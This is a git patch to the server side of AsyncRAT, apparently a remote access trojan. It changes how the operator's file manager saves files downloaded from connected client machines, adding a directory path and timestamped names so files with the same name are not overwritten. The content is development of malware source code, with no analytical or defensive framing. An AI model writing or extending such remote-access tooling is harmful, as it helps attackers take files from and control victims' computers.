From 85c3f6b674de131b448c023a6065e7ece7097390 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Fri, 28 Jun 2019 20:43:07 +0300 Subject: [PATCH] File Manager - Overwrites a different file with same name. --- AsyncRAT-C#/Server/Forms/FormDownloadFile.cs | 2 +- AsyncRAT-C#/Server/Forms/FormFileManager.cs | 4 +++- .../Server/Handle Packet/HandleFileManager.cs | 13 +++++++------ 3 files changed, 11 insertions(+), 8 deletions(-) diff --git a/AsyncRAT-C#/Server/Forms/FormDownloadFile.cs b/AsyncRAT-C#/Server/Forms/FormDownloadFile.cs index 11c0d2f..d1d6287 100644 --- a/AsyncRAT-C#/Server/Forms/FormDownloadFile.cs +++ b/AsyncRAT-C#/Server/Forms/FormDownloadFile.cs @@ -26,7 +26,7 @@ namespace Server.Forms public string FullFileName; public string ClientFullFileName; private bool IsUpload = false; - + public string DirPath; public FormDownloadFile() { InitializeComponent(); diff --git a/AsyncRAT-C#/Server/Forms/FormFileManager.cs b/AsyncRAT-C#/Server/Forms/FormFileManager.cs index fcb1e9a..0c6f2e5 100644 --- a/AsyncRAT-C#/Server/Forms/FormFileManager.cs +++ b/AsyncRAT-C#/Server/Forms/FormFileManager.cs @@ -101,7 +101,9 @@ namespace Server.Forms { Name = "socketDownload:" + dwid, Text = "socketDownload:" + Client.ID, - F = F + F = F, + DirPath = FullPath + }; SD.Show(); } diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleFileManager.cs b/AsyncRAT-C#/Server/Handle Packet/HandleFileManager.cs index 97deead..3e7953e 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleFileManager.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleFileManager.cs @@ -150,15 +150,16 @@ namespace Server.Handle_Packet FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid]; if (SD != null) { - if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "")))) + if (!Directory.Exists(SD.DirPath)) return; - string filename = Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString); - if (File.Exists(filename)) + string fileName = unpack_msgpack.ForcePathObject("Name").AsString; + string dirPath = SD.DirPath; + if (File.Exists(dirPath + "\\" + fileName)) { - File.Delete(filename); - await Task.Delay(500); + fileName = DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + "_" + fileName; + await Task.Delay(100); } - await Task.Run(() => SaveFileAsync(unpack_msgpack.ForcePathObject("File"), filename)); + await Task.Run(() => SaveFileAsync(unpack_msgpack.ForcePathObject("File"), dirPath + "\\" + fileName)); SD.Close(); } }